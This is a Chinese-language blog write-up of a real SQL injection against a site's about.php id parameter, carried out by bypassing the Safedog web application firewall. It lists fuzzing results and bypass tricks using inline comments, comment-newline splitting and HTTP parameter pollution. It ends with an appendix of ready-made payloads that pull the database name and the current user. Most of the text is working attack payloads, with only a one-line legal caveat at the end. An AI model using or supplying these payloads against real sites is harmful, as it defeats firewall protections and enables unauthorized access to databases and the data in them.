记一次实战过狗注入
字数 994 2025-08-09 15:23:02
实战绕过安全狗注入技术详解
0x00 漏洞发现与初步测试
- 目标识别:发现目标URL存在数字型参数
/about.php?id=1 - 初步测试:
- 加单引号
'触发报错,确认存在SQL注入漏洞 - 使用
and 1=1和and 1=2测试时被安全狗拦截
- 加单引号
0x01 安全狗绕过技术
绕过and 1=1拦截
-
Fuzz测试结果:
and→ 不拦截and 1→ 拦截and 1=1→ 拦截and -1=-1→ 拦截%26 1=1→ 拦截
-
绕过方法:
- 使用内联注释包裹数字:
and /*!-1*/=-1 - 测试:
?id=1 and /*!-1*/=-1→ 正常返回?id=1 and /*!-1*/=-2→ 返回错误
- 使用内联注释包裹数字:
绕过order by拦截
-
Fuzz测试结果:
order→ 不拦截by→ 不拦截order by→ 不拦截order by 10→ 拦截
-
绕过方法:
方法1:内联注释
?id=1 /*!order*/ by 10?id=1 order /*!by*/ 10?id=1 order by /*!10*/- 测试字段数:
order by /*!3*/→ 返回正常order by /*!4*/→ 返回错误
方法2:注释换行
order%23%0aby 3(%23为#,%0a为换行符)order%23%0aby 4
绕过union select拦截
-
Fuzz测试结果:
union→ 不拦截select→ 不拦截union select→ 拦截
-
绕过方法:
- HTTP参数污染加注释:
?id=1 /*&id=-1 union select 1,2,3%23*/ - 成功获取回显位置后,可替换为实际查询:
user()database()
- HTTP参数污染加注释:
0x02 技术总结
- 通用性发现:HTTP参数污染加注释的方法可适用于所有测试场景,是最有效的绕过方式
- 检测机制分析:
- 安全狗5.0对特定关键词组合进行检测
- 检测逻辑需要同时匹配特定关键词组合才会触发拦截
- 实用技巧:
- 内联注释(
/*!...*/)可有效分割关键词组合 - 注释换行可破坏关键词的连续性
- HTTP参数污染可混淆检测逻辑
- 内联注释(
附录:完整Payload示例
-
判断注入:
/about.php?id=1 and /*!-1*/=-1 -
获取字段数:
/about.php?id=1 order%23%0aby 3 -
获取回显位置:
/about.php?id=1 /*&id=-1 union select 1,2,3%23*/ -
获取数据库信息:
/about.php?id=1 /*&id=-1 union select 1,database(),user()%23*/
注意:实际测试中应根据目标环境调整Payload,并遵守相关法律法规。